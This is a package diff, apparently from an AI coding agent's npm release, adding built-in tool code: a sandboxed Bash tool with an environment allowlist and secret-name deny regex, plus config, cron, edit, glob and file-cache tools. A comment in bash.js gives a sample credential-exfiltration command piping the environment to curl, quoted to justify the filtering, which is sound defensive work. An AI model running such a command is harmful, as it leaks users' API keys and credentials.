@cjhyy/code-shell-core 0.5.0-rc.0

package/dist/tool-system/builtin/bash.js

@@ -0,0 +1,149 @@
+/**
+ * Built-in Bash shell command execution tool.
+ *
+ * Spawns commands under an optional OS-level sandbox (Seatbelt on macOS,
+ * bubblewrap on Linux). The sandbox is selected by the Engine and handed
+ * down via ToolContext.sandbox. Without a sandbox we fall back to the
+ * historical behavior — plain shell spawn in the user's environment.
+ *
+ * The actual lifecycle (spawn, IO drain, byte cap, abort cascade, timeout
+ * cascade, listener cleanup) lives in {@link safeSpawnShell}. This file
+ * keeps only Bash-specific concerns:
+ *
+ *   - The env allowlist + deny regex (a Bash threat-model thing — REPL /
+ *     PowerShell don't have free-form shell injection from the LLM).
+ *   - The final user-facing output formatting (STDERR: prefix, Exit code,
+ *     Killed by signal, the truncation message, sandbox denial hints).
+ */
+import { createOffBackend } from "../sandbox/off.js";
+import { safeSpawnShell } from "../../runtime/safe-spawn.js";
+export const bashToolDef = {
+    name: "Bash",
+    description: "Execute a shell command and return its output. " +
+        "Commands run in the user's default shell. Use for system operations, " +
+        "git commands, running tests, installing packages, etc.",
+    inputSchema: {
+        type: "object",
+        properties: {
+            command: { type: "string", description: "The shell command to execute" },
+            timeout: {
+                type: "number",
+                description: "Timeout in milliseconds (default: 120000). Outer registry caps at 1h.",
+            },
+            description: {
+                type: "string",
+                description: "Short description of what the command does",
+            },
+        },
+        required: ["command"],
+    },
+};
+const MAX_OUTPUT = 100_000;
+const MAX_BUFFER = 10 * 1024 * 1024;
+/**
+ * Env vars that are always safe to forward into the sandboxed shell. We pass
+ * through enough for common Unix tooling (locale, PATH, HOME, terminal width)
+ * but strip everything else. The Bash tool is the only thing the LLM can
+ * directly steer at the shell, and a tainted model with full env access can
+ * trivially exfiltrate `OPENROUTER_API_KEY` / `AWS_*` / `SSH_AUTH_SOCK` via
+ * `env | curl evil`. Filesystem-level deniedReads don't help once secrets are
+ * already in the process environment.
+ *
+ * `off` backend keeps the historical full-passthrough behavior — the user
+ * explicitly opted out of sandboxing.
+ */
+const ENV_ALLOWLIST = new Set([
+    "PATH",
+    "HOME",
+    "USER",
+    "LOGNAME",
+    "SHELL",
+    "LANG",
+    "LC_ALL",
+    "LC_CTYPE",
+    "TERM",
+    "TMPDIR",
+    "TZ",
+    "COLUMNS",
+    "LINES",
+    "PWD",
+]);
+/**
+ * Names matching these patterns are dropped even if they appear in the
+ * allowlist (defense in depth — e.g. a user setting `PATH_TOKEN` shouldn't
+ * leak just because it starts with `PATH`). Match is case-insensitive on
+ * the full name.
+ */
+const ENV_DENY_REGEX = /(KEY|TOKEN|SECRET|PASSWORD|PASSWD|CREDENTIAL|SESSION|AUTH|COOKIE|PRIVATE)/i;
+function buildSandboxEnv() {
+    const out = {};
+    for (const name of ENV_ALLOWLIST) {
+        const v = process.env[name];
+        if (v !== undefined && !ENV_DENY_REGEX.test(name)) {
+            out[name] = v;
+        }
+    }
+    return out;
+}
+export async function bashTool(args, ctx) {
+    const command = args.command;
+    if (!command)
+        return "Error: command is required";
+    const timeout = args.timeout || 120_000;
+    const cwd = ctx?.cwd ?? process.cwd();
+    const shell = process.env.SHELL || "/bin/bash";
+    const backend = ctx?.sandbox ?? createOffBackend();
+    const env = backend.name === "off" ? { ...process.env } : buildSandboxEnv();
+    // A6: lifecycle (spawn, kill cascade, IO drain, byte cap, abort/timeout)
+    // is centralized in safeSpawnShell. We still handle Bash's user-facing
+    // output formatting here.
+    // Capture pre-spawn abort state so we can produce the historical
+    // "aborted before starting" message; SafeSpawn collapses both pre- and
+    // mid-flight abort to aborted=true.
+    const wasAbortedBeforeStart = ctx?.signal?.aborted === true;
+    const result = await safeSpawnShell(command, {
+        cwd,
+        env,
+        timeoutMs: timeout,
+        maxOutputBytes: MAX_BUFFER,
+        sandbox: backend,
+        shell,
+        signal: ctx?.signal,
+    });
+    if (result.aborted) {
+        return wasAbortedBeforeStart ? "Bash aborted before starting." : "Bash aborted by signal.";
+    }
+    if (result.timedOut) {
+        return `Command timed out after ${timeout}ms`;
+    }
+    if (result.spawnFailed) {
+        return `Failed to spawn command: ${result.error ?? "unknown error"}`;
+    }
+    let output = "";
+    if (result.stdout)
+        output += result.stdout;
+    if (result.stderr)
+        output += (output ? "\n" : "") + `STDERR:\n${result.stderr}`;
+    if (!output)
+        output = "(command completed with no output)";
+    const code = result.exitCode;
+    const sig = result.signal;
+    if (code !== 0 && code !== null) {
+        output = `Exit code: ${code}\n${output}`;
+    }
+    else if (code === null && sig) {
+        // Killed by a signal we didn't time out on — OOM-kill, sandbox-kill,
+        // external SIGKILL. Surface so the model can distinguish from our
+        // own timeout path above.
+        output = `Killed by signal: ${sig}\n${output}`;
+    }
+    const hint = backend.hintForBlockedOutput?.(result.stderr);
+    if (hint)
+        output += hint;
+    if (output.length > MAX_OUTPUT) {
+        output =
+            output.slice(0, MAX_OUTPUT) +
+                `\n\n... output truncated (${output.length} chars total)`;
+    }
+    return output;
+}

package/dist/tool-system/builtin/brief.d.ts

@@ -0,0 +1,6 @@
+/**
+ * BriefTool — send structured messages with markdown support.
+ */
+import type { ToolDefinition } from "../../types.js";
+export declare const briefToolDef: ToolDefinition;
+export declare function briefTool(args: Record<string, unknown>): Promise<string>;

package/dist/tool-system/builtin/brief.js

@@ -0,0 +1,41 @@
+/**
+ * BriefTool — send structured messages with markdown support.
+ */
+export const briefToolDef = {
+    name: "Brief",
+    description: "Send a structured brief/summary message. Useful for providing concise status updates, " +
+        "summaries, or formatted output to the user.",
+    inputSchema: {
+        type: "object",
+        properties: {
+            title: {
+                type: "string",
+                description: "Brief title or heading",
+            },
+            content: {
+                type: "string",
+                description: "Markdown-formatted content of the brief",
+            },
+            status: {
+                type: "string",
+                enum: ["info", "success", "warning", "error"],
+                description: "Status level for the brief (default: info)",
+            },
+        },
+        required: ["content"],
+    },
+};
+export async function briefTool(args) {
+    const title = args.title;
+    const content = args.content;
+    const status = args.status ?? "info";
+    const icons = {
+        info: "ℹ",
+        success: "✓",
+        warning: "⚠",
+        error: "✗",
+    };
+    const icon = icons[status] ?? "ℹ";
+    const header = title ? `${icon} ${title}\n\n` : "";
+    return `${header}${content}`;
+}

package/dist/tool-system/builtin/config.d.ts

@@ -0,0 +1,6 @@
+/**
+ * ConfigTool — read or update project settings.
+ */
+import type { ToolDefinition } from "../../types.js";
+export declare const configToolDef: ToolDefinition;
+export declare function configTool(args: Record<string, unknown>): Promise<string>;

package/dist/tool-system/builtin/config.js

@@ -0,0 +1,67 @@
+/**
+ * ConfigTool — read or update project settings.
+ */
+import { existsSync, readFileSync, writeFileSync, mkdirSync } from "node:fs";
+import { join } from "node:path";
+export const configToolDef = {
+    name: "Config",
+    description: "Read or update the project's .code-shell/settings.json configuration. " +
+        "Use action 'read' to see current settings, or 'write' to update a key.",
+    inputSchema: {
+        type: "object",
+        properties: {
+            action: {
+                type: "string",
+                enum: ["read", "write"],
+                description: "'read' to view settings, 'write' to update a key",
+            },
+            key: {
+                type: "string",
+                description: "Dot-notation key path (e.g. 'model.temperature'). Required for 'write'.",
+            },
+            value: {
+                description: "Value to set. Required for 'write'.",
+            },
+        },
+        required: ["action"],
+    },
+};
+export async function configTool(args) {
+    const action = args.action;
+    const cwd = args.__cwd ?? process.cwd();
+    const configPath = join(cwd, ".code-shell", "settings.json");
+    if (action === "read") {
+        if (!existsSync(configPath)) {
+            return "No project settings found. Use /init to create one.";
+        }
+        const content = readFileSync(configPath, "utf-8");
+        return content;
+    }
+    if (action === "write") {
+        const key = args.key;
+        const value = args.value;
+        if (!key)
+            return "Error: 'key' is required for write action.";
+        if (value === undefined)
+            return "Error: 'value' is required for write action.";
+        // Read or create settings
+        let settings = {};
+        if (existsSync(configPath)) {
+            settings = JSON.parse(readFileSync(configPath, "utf-8"));
+        }
+        // Set nested key
+        const parts = key.split(".");
+        let obj = settings;
+        for (let i = 0; i < parts.length - 1; i++) {
+            if (typeof obj[parts[i]] !== "object" || obj[parts[i]] === null) {
+                obj[parts[i]] = {};
+            }
+            obj = obj[parts[i]];
+        }
+        obj[parts[parts.length - 1]] = value;
+        mkdirSync(join(cwd, ".code-shell"), { recursive: true });
+        writeFileSync(configPath, JSON.stringify(settings, null, 2), "utf-8");
+        return `Updated ${key} = ${JSON.stringify(value)}`;
+    }
+    return `Unknown action: ${action}. Use 'read' or 'write'.`;
+}

package/dist/tool-system/builtin/cron.d.ts

@@ -0,0 +1,10 @@
+/**
+ * Cron tools — CronCreate, CronDelete, CronList.
+ */
+import type { ToolDefinition } from "../../types.js";
+export declare const cronCreateToolDef: ToolDefinition;
+export declare function cronCreateTool(args: Record<string, unknown>): Promise<string>;
+export declare const cronDeleteToolDef: ToolDefinition;
+export declare function cronDeleteTool(args: Record<string, unknown>): Promise<string>;
+export declare const cronListToolDef: ToolDefinition;
+export declare function cronListTool(_args: Record<string, unknown>): Promise<string>;

package/dist/tool-system/builtin/cron.js

@@ -0,0 +1,61 @@
+/**
+ * Cron tools — CronCreate, CronDelete, CronList.
+ */
+import { cronScheduler } from "../../cron/scheduler.js";
+export const cronCreateToolDef = {
+    name: "CronCreate",
+    description: "Create a scheduled recurring task. The task will run automatically at the specified interval. " +
+        "Schedule format: '30s', '5m', '1h', '1d'.",
+    inputSchema: {
+        type: "object",
+        properties: {
+            name: { type: "string", description: "Name for the cron job" },
+            schedule: { type: "string", description: "Interval (e.g. '5m', '1h', '30s')" },
+            prompt: { type: "string", description: "The task prompt to run on each execution" },
+        },
+        required: ["name", "schedule", "prompt"],
+    },
+};
+export async function cronCreateTool(args) {
+    const name = args.name;
+    const schedule = args.schedule;
+    const prompt = args.prompt;
+    if (!name || !schedule || !prompt)
+        return "Error: name, schedule, and prompt are required";
+    const job = cronScheduler.create(name, schedule, prompt);
+    return `Cron job #${job.id} "${job.name}" created. Schedule: every ${job.schedule}.`;
+}
+export const cronDeleteToolDef = {
+    name: "CronDelete",
+    description: "Delete a scheduled cron job by ID.",
+    inputSchema: {
+        type: "object",
+        properties: {
+            jobId: { type: "string", description: "The cron job ID to delete" },
+        },
+        required: ["jobId"],
+    },
+};
+export async function cronDeleteTool(args) {
+    const id = args.jobId;
+    if (!id)
+        return "Error: jobId is required";
+    const deleted = cronScheduler.delete(id);
+    return deleted ? `Cron job #${id} deleted.` : `Cron job #${id} not found.`;
+}
+export const cronListToolDef = {
+    name: "CronList",
+    description: "List all scheduled cron jobs.",
+    inputSchema: { type: "object", properties: {} },
+};
+export async function cronListTool(_args) {
+    const jobs = cronScheduler.list();
+    if (jobs.length === 0)
+        return "No cron jobs scheduled.";
+    const lines = jobs.map((j) => {
+        const status = j.enabled ? "active" : "paused";
+        const lastRun = j.lastRun ? new Date(j.lastRun).toLocaleString() : "never";
+        return `  #${j.id} "${j.name}" [${status}] every ${j.schedule} | runs: ${j.runCount} | last: ${lastRun}`;
+    });
+    return `Cron Jobs (${jobs.length}):\n${lines.join("\n")}`;
+}

package/dist/tool-system/builtin/edit.d.ts

@@ -0,0 +1,6 @@
+/**
+ * Built-in Edit file tool — exact string replacement.
+ */
+import type { ToolDefinition } from "../../types.js";
+export declare const editToolDef: ToolDefinition;
+export declare function editTool(args: Record<string, unknown>): Promise<string>;

package/dist/tool-system/builtin/edit.js

@@ -0,0 +1,100 @@
+/**
+ * Built-in Edit file tool — exact string replacement.
+ */
+import { readFile, writeFile } from "node:fs/promises";
+import { existsSync } from "node:fs";
+import { fileCache } from "./file-cache.js";
+export const editToolDef = {
+    name: "Edit",
+    description: "Perform exact string replacements in a file. " +
+        "The old_string must match exactly (including whitespace/indentation) and be unique in the file. " +
+        "IMPORTANT: Keep old_string as SHORT as possible while still being unique — " +
+        "include just enough surrounding context lines to uniquely identify the location. " +
+        "Do NOT copy entire functions or large blocks when a few lines suffice.",
+    inputSchema: {
+        type: "object",
+        properties: {
+            file_path: { type: "string", description: "Absolute path to the file to edit" },
+            old_string: {
+                type: "string",
+                description: "The exact string to find. Keep it SHORT — only enough lines to be unique in the file. " +
+                    "Include 1-2 lines of surrounding context if needed for uniqueness.",
+            },
+            new_string: { type: "string", description: "The replacement string" },
+            replace_all: {
+                type: "boolean",
+                description: "Replace all occurrences (default: false)",
+                default: false,
+            },
+        },
+        required: ["file_path", "old_string", "new_string"],
+    },
+};
+export async function editTool(args) {
+    const filePath = args.file_path;
+    const oldString = args.old_string;
+    const newString = args.new_string;
+    const replaceAll = args.replace_all ?? false;
+    if (!filePath)
+        return "Error: file_path is required";
+    if (oldString === undefined)
+        return "Error: old_string is required";
+    if (newString === undefined)
+        return "Error: new_string is required";
+    if (oldString === newString)
+        return "Error: old_string and new_string must be different";
+    if (!existsSync(filePath))
+        return `Error: File not found: ${filePath}`;
+    try {
+        const content = await readFile(filePath, "utf-8");
+        if (!content.includes(oldString)) {
+            return "Error: old_string not found in file";
+        }
+        if (!replaceAll) {
+            const firstIdx = content.indexOf(oldString);
+            const lastIdx = content.lastIndexOf(oldString);
+            if (firstIdx !== lastIdx) {
+                return "Error: old_string is not unique in the file. Provide more context or use replace_all.";
+            }
+        }
+        const updated = replaceAll
+            ? content.split(oldString).join(newString)
+            : content.replace(oldString, newString);
+        await writeFile(filePath, updated, "utf-8");
+        fileCache.invalidate(filePath);
+        const count = replaceAll
+            ? (content.split(oldString).length - 1)
+            : 1;
+        // Generate a compact diff summary
+        const oldLines = oldString.split("\n");
+        const newLines = newString.split("\n");
+        const diffSummary = generateCompactDiff(oldLines, newLines, filePath);
+        return `Successfully edited ${filePath} (${count} replacement${count > 1 ? "s" : ""})\n${diffSummary}`;
+    }
+    catch (err) {
+        return `Error editing file: ${err.message}`;
+    }
+}
+function generateCompactDiff(oldLines, newLines, filePath) {
+    const lines = [];
+    const maxShow = 8;
+    // Show removed lines (prefix with -)
+    const removedCount = oldLines.length;
+    const showRemoved = oldLines.slice(0, maxShow);
+    for (const line of showRemoved) {
+        lines.push(`  - ${line}`);
+    }
+    if (removedCount > maxShow) {
+        lines.push(`  ... +${removedCount - maxShow} more removed`);
+    }
+    // Show added lines (prefix with +)
+    const addedCount = newLines.length;
+    const showAdded = newLines.slice(0, maxShow);
+    for (const line of showAdded) {
+        lines.push(`  + ${line}`);
+    }
+    if (addedCount > maxShow) {
+        lines.push(`  ... +${addedCount - maxShow} more added`);
+    }
+    return lines.join("\n");
+}

package/dist/tool-system/builtin/file-cache.d.ts

@@ -0,0 +1,11 @@
+declare class FileStateCache {
+    private cache;
+    get(filePath: string): Promise<string | null>;
+    set(filePath: string, content: string, mtimeMs: number): void;
+    /** Invalidate a specific path (after Write/Edit). */
+    invalidate(filePath: string): void;
+    clear(): void;
+    get size(): number;
+}
+export declare const fileCache: FileStateCache;
+export {};

package/dist/tool-system/builtin/file-cache.js

@@ -0,0 +1,39 @@
+/**
+ * File state cache — avoids re-reading unchanged files within a session.
+ * Keyed by absolute path, invalidated on mtime change or manual write.
+ */
+import { stat } from "node:fs/promises";
+class FileStateCache {
+    cache = new Map();
+    async get(filePath) {
+        const entry = this.cache.get(filePath);
+        if (!entry)
+            return null;
+        try {
+            const s = await stat(filePath);
+            if (s.mtimeMs === entry.mtimeMs)
+                return entry.content;
+            // File changed on disk — invalidate
+            this.cache.delete(filePath);
+            return null;
+        }
+        catch {
+            this.cache.delete(filePath);
+            return null;
+        }
+    }
+    set(filePath, content, mtimeMs) {
+        this.cache.set(filePath, { content, mtimeMs });
+    }
+    /** Invalidate a specific path (after Write/Edit). */
+    invalidate(filePath) {
+        this.cache.delete(filePath);
+    }
+    clear() {
+        this.cache.clear();
+    }
+    get size() {
+        return this.cache.size;
+    }
+}
+export const fileCache = new FileStateCache();

package/dist/tool-system/builtin/glob.d.ts

@@ -0,0 +1,7 @@
+/**
+ * Built-in Glob file search tool.
+ */
+import type { ToolDefinition } from "../../types.js";
+import type { ToolContext } from "../context.js";
+export declare const globToolDef: ToolDefinition;
+export declare function globTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string>;

package/dist/tool-system/builtin/glob.js

@@ -0,0 +1,76 @@
+/**
+ * Built-in Glob file search tool.
+ */
+import { glob } from "glob";
+import { stat } from "node:fs/promises";
+import * as path from "node:path";
+export const globToolDef = {
+    name: "Glob",
+    description: "Fast file pattern matching. Returns matching file paths sorted by modification time. " +
+        'Supports patterns like "**/*.ts" or "src/**/*.tsx". ' +
+        "Use this to discover project structure before reading specific files.",
+    inputSchema: {
+        type: "object",
+        properties: {
+            pattern: { type: "string", description: "Glob pattern to match files against" },
+            path: { type: "string", description: "Directory to search in (default: cwd)" },
+        },
+        required: ["pattern"],
+    },
+};
+export async function globTool(args, ctx) {
+    const pattern = args.pattern;
+    if (!pattern)
+        return "Error: pattern is required";
+    // A4: resolve search root against ctx.cwd. Relative args.path is
+    // resolved against ctx.cwd; absolute args.path is used as-is.
+    const baseDir = ctx?.cwd ?? process.cwd();
+    const argPath = args.path;
+    const cwd = argPath
+        ? path.isAbsolute(argPath)
+            ? argPath
+            : path.resolve(baseDir, argPath)
+        : baseDir;
+    try {
+        const matches = await glob(pattern, {
+            cwd,
+            absolute: true,
+            nodir: true,
+            dot: false,
+            ignore: ["**/node_modules/**", "**/.git/**", "**/dist/**", "**/.next/**", "**/coverage/**"],
+        });
+        if (matches.length === 0) {
+            return "No files matched the pattern.";
+        }
+        // Get file stats for sorting and display
+        const withStats = await Promise.all(matches.slice(0, 200).map(async (filePath) => {
+            try {
+                const s = await stat(filePath);
+                return { path: filePath, size: s.size, mtime: s.mtimeMs };
+            }
+            catch {
+                return { path: filePath, size: 0, mtime: 0 };
+            }
+        }));
+        // Sort by modification time (newest first)
+        withStats.sort((a, b) => b.mtime - a.mtime);
+        // Format with relative paths and sizes
+        const cwdPrefix = cwd.endsWith("/") ? cwd : cwd + "/";
+        const lines = withStats.map((f) => {
+            const rel = f.path.startsWith(cwdPrefix) ? f.path.slice(cwdPrefix.length) : f.path;
+            const sizeStr = f.size < 1024 ? `${f.size}B` : `${Math.round(f.size / 1024)}KB`;
+            return `${rel}  (${sizeStr})`;
+        });
+        let result = lines.join("\n");
+        if (matches.length > 200) {
+            result += `\n\n... and ${matches.length - 200} more files (${matches.length} total)`;
+        }
+        else {
+            result = `${matches.length} files matched:\n${result}`;
+        }
+        return result;
+    }
+    catch (err) {
+        return `Error in glob: ${err.message}`;
+    }
+}

package/dist/tool-system/builtin/grep.d.ts

@@ -0,0 +1,7 @@
+/**
+ * Built-in Grep content search tool.
+ */
+import type { ToolDefinition } from "../../types.js";
+import type { ToolContext } from "../context.js";
+export declare const grepToolDef: ToolDefinition;
+export declare function grepTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string>;